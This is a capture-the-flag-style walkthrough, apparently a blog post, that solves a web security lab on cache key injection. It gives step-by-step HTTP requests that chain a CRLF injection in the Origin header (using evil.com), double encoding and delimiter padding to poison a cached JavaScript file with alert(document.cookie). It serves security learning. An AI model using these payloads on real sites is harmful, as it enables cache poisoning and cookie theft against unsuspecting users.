Disclaimer: The techniques described in this document are intended solely for ethical use and educational purposes. Unauthorized use of these methods outside approved environments is strictly prohibited, as it is illegal, unethical, and may lead to severe consequences.
It is crucial to act responsibly, comply with all applicable laws, and adhere to established ethical guidelines. Any activity that exploits security vulnerabilities or compromises the safety, privacy, or integrity of others is strictly forbidden.
Table of Contents
Summary of the Vulnerability
Cache key injection is a subtle but powerful web application flaw that arises when unvalidated input is incorporated into the cache key used by a reverse proxy, CDN, or other caching layer. In this lab scenario, the site's caching mechanism mistakenly includes attacker-supplied header data (via the Pragma: x-get-cache-key
header) in its calculation of the cache key.
Because the cache key determines which requests map to the same cached response, this misbehavior lets an attacker manipulate what content ends up served to future visitors. The attacker's objective in the lab is to combine this flaw with another vulnerability to poison the cache and inject malicious JavaScript (alert(1)
) that executes in the victim's browser.
The vulnerability exists because the caching logic fails to properly sanitize or restrict which headers can influence cache behavior. This oversight allows adversaries to craft responses that are cached and then delivered to other unsuspecting users.
Steps to Reproduce & Proof of Concept (PoC)
① Open the lab
② Observe traffic in Burp's HTTP history
- You'll notice a redirect from
GET /login?lang=en
toGET /login/?lang=en
. The same pattern also appears for the/js/localize.js?lang=en&cors=0
request.
③ Send requests to Repeater
- Capture and send the following requests to the Burp Repeater for closer inspection:
GET / HTTP/2
GET /login?lang=en HTTP/2
GET /login/?lang=en HTTP/2
GET /js/localize.js?lang=en&cors=0 HTTP/2

④ Use Param Miner to discover unkeyed parameters
- As in previous labs, use the Param Miner extension to scan for parameters that are not part of the cache key: Right-click the request in Repeater → Extensions → Param Miner → Unkeyed Param.

⑤ Add the Pragma header
- Include the following header in every request:
Pragma: x-get-cache-key
- This header helps reveal which parameters influence the cache key during testing.
⑥ Identify the vulnerable parameter

- After confirming that
utm_content
is not part of the cache key, use it to inject payloads into thelogin?lang=en
and/js/localize.js?lang=en&cors=0
requests.
⑦ Test the injection point
- Start by injecting
utm_content
into theGET /login?lang=en
request and observe the response. Even after removingutm_content
, you'll notice the parameter remains reflected — confirming it's being processed.

⑧ Move to the JavaScript request
- Focus on the
cors
parameter in the/js/localize.js
request. Change its value from0
to1
, and add the following header:
Origin: evil.com
- The reflected header in the response indicates the server accepts any domain origin.

⑨ Prepare the JavaScript overwrite
- The next goal is to overwrite the JavaScript file's content, specifically to replace:
document.cookie='lang=en'
- with your payload:
alert(document.cookie)
- To achieve this, leverage a CRLF injection and encode it as follows:
Origin: evil.com%0d%0aContent-length:%2022%0d%0a%0d%0aalert(document.cookie)

⑩ Modify both the login and JS requests
- Embed the payloads into both requests so the injection forms a single continuous parameter.
- Request 1 (login):
GET /login?lang=en?utm_content=xyz%26cors=1$$origin=evil.com%250d%250aContent-length:%2022%250d%250a%250d%250aalert(document.cookie)
(No additional headers required)
- Request 2 (JavaScript):
GET /js/localize.js?lang=en?utm_content=xyz&cors=1 HTTP/2
Origin: evil.com%0d%0aContent-length:%2022%0d%0a%0d%0aalert(document.cookie)
- After adding the
Origin
header, press Enter twice to finalize the request formatting.
⑪ Send both requests
- Send the modified
login
andJS
requests. This helps trigger the server response that could lead to payload execution.

- The first attempt may fail, so adjust and retry.
⑫ Refine the JavaScript request
- Add additional delimiters (
$$$$
) to stabilize the payload structure:
GET /js/localize.js?lang=en?utm_content=xyz&cors=1 HTTP/2
Host: 0af700e9039182b5815dcab2001500b5.web-security-academy.net
Cookie: session=sb5ouNX1yDZ7xzbsiKkh334iKqAOM86Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Pragma: x-get-cache-key
Origin: evil.com%0d%0aContent-length:%2022%0d%0a%0d%0aalert(document.cookie)$$$$
⑬ Apply similar adjustments to the login request:
GET /login?lang=en?utm_content=xyz%26cors=1$$origin=evil.com%250d%250aContent-length:%2022%250d%250a%250d%250aalert(document.cookie)$$%23 HTTP/2
Host: 0af700e9039182b5815dcab2001500b5.web-security-academy.net
Cookie: lang=en; session=sb5ouNX1yDZ7xzbsiKkh334iKqAOM86Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Pragma: x-get-cache-key
⑭ Confirm cache behavior
- After sending both requests, check the responses. When both return with:
X-Cache: miss
- return to your browser and click Home. The lab should trigger an
alert(document.cookie)
popup, confirming successful execution.

⑮ Validate and repeat if needed
- If the alert doesn't trigger immediately, resend the crafted requests a few times. Timing can affect when the cache updates.
- Once the alert appears, the lab is successfully solved.

A compact technical peek
- Double-encoding:
%250d%250a
→ server decodes once →%0d%0a
→ decodes again (or gets interpreted) → CRLF gets injected into header parsing → CRLF injection occurs. - Delimiter alignment: the app constructs the cache key by concatenating multiple fields with a delimiter (like
$$
). You must match that structure so your injected CRLF/payload sits in the correct slot. - Fragment (
#
): handy to limit what the browser sends and to prevent leftover characters from changing the request normalization.
Because the server (or the code that constructs the cache key/header) uses a separator — apparently $$
— to split fields. By adding multiple $$
in a row you are:
- Padding/skipping fields so your payload (CRLF +
alert(...)
) ends up in the exact field used later to build the response or header. - In other words: the cache key might look like
path$$lang$$utm$$origin$$...
. To place the payload into theorigin
slot you must include the right number of$$
delimiters to jump over previous slots. Empirically in this lab,$$$$
produced the correct alignment. %23
is the URL-encoding for#
(fragment). Fragments are not sent to the server — they are client-side only. Adding%23
acts as a terminator: it prevents further characters from being processed or injected into server parsing paths that might break the alignment or decoding. In practice,%23
is often used to safely terminate a URL segment so the rest won't interfere with the server's normalization/decoding.
Impact
Outside of a controlled lab, cache key injection could have serious consequences for high-traffic web applications. By manipulating cache keys, an attacker is able to inject malicious payloads into cached pages — leading to widespread cross-site scripting (XSS) or malware delivery at scale.
📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:
- 📖 Medium: bashoverflow.medium.com
- 🐦 Twitter / X: @_havij
- </> Github: havij13
🙏Your support is appreciated.